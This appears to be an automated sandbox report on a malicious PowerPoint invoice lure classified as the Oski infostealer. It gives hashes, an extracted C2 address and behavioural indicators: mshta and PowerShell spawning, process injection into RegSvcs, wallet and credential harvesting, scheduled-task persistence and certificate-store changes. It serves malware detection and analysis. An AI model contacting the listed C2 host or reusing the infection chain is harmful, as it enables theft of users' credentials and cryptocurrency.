oski | 5bd1784bd0379cb65a32f1c71989082c6b9168c150e18ba21b351b2320f667da

General

Target

DSV INV 103823 14072021.ppt
Size

58KB
MD5

4c5105952fcc267dc7b8bf5a2220fb51
SHA1

9f43f9de80672d5d228d254394360ae362d9a673
SHA256

5bd1784bd0379cb65a32f1c71989082c6b9168c150e18ba21b351b2320f667da
SHA512

88f09a875c5e6164fec848a535b2601262e90f4c110ebf34acbdbc31bccc6684c1d2f98359347c325354197a252d02b644da4e20e7d68365a52cca736590a540

Score

10^/10

oski infostealer spyware

Malware Config

Extracted

Family

oski

C2

103.153.76.164/we/mark/

Signatures

Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	1776	2024	mshta.exe	POWERPNT.EXE

Blocklisted process makes network request 16 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
7	1776	mshta.exe
9	1776	mshta.exe
11	1776	mshta.exe
13	1776	mshta.exe
15	1776	mshta.exe
17	1776	mshta.exe
19	1776	mshta.exe
20	1776	mshta.exe
22	1776	mshta.exe
23	1776	mshta.exe
25	1776	mshta.exe
29	1776	mshta.exe
30	1776	mshta.exe
31	1776	mshta.exe
33	1664	powershell.exe
34	1664	powershell.exe

Downloads MZ/PE file
Loads dropped DLL 5 IoCs

Processes:

RegSvcs.exe

pid process

1996 RegSvcs.exe
1996 RegSvcs.exe
1996 RegSvcs.exe
1996 RegSvcs.exe
1996 RegSvcs.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1664 set thread context of 1996 1664 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

RegSvcs.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1996 schtasks.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1740 taskkill.exe

pid	process
1996	RegSvcs.exe
1996	RegSvcs.exe
1996	RegSvcs.exe
1996	RegSvcs.exe
1996	RegSvcs.exe

description	pid	process	target process
PID 1664 set thread context of 1996	1664	powershell.exe	RegSvcs.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe

pid	process
1996	schtasks.exe

pid	process
1740	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

POWERPNT.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE

Modifies registry class 64 IoCs

Processes:

POWERPNT.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A61-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "DataLabel"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493487-5A91-11CF-8700-00AA0060263B}\ = "ShapeNode"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D9-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7B-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "UpBars"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CC-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493458-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\ = "PrintRanges"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493466-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493489-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E9-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F1-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A55-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493494-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EC-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A56-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A65-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "DownBars"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493452-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493473-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349A-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E0-5A91-11CF-8700-00AA0060263B}\ = "Timing"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\ = "ThreeDFormat"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493492-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493487-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E7-5A91-11CF-8700-00AA0060263B}\ = "ScaleEffect"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6F-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493452-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E1-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\ = "TableStyle"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A69-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A77-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "SeriesLines"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493442-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EA-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E558-4FF5-48F4-8215-5505F990966F}\ = "Broadcast"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493461-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493491-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CC-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493482-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348F-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e210f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

2024 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1664 powershell.exe
1664 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exetaskkill.exe

description pid process

Token: SeDebugPrivilege 1664 powershell.exe
Token: SeDebugPrivilege 1740 taskkill.exe

pid	process
2024	POWERPNT.EXE

pid	process
1664	powershell.exe
1664	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	1740	taskkill.exe

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exeRegSvcs.execmd.exe

description	pid	process	target process
PID 2024 wrote to memory of 2004	2024	POWERPNT.EXE	splwow64.exe
